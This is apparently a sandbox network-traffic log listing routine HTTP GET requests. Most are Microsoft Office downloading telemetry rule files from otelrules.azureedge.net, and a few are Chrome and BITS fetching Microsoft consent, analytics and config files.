Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
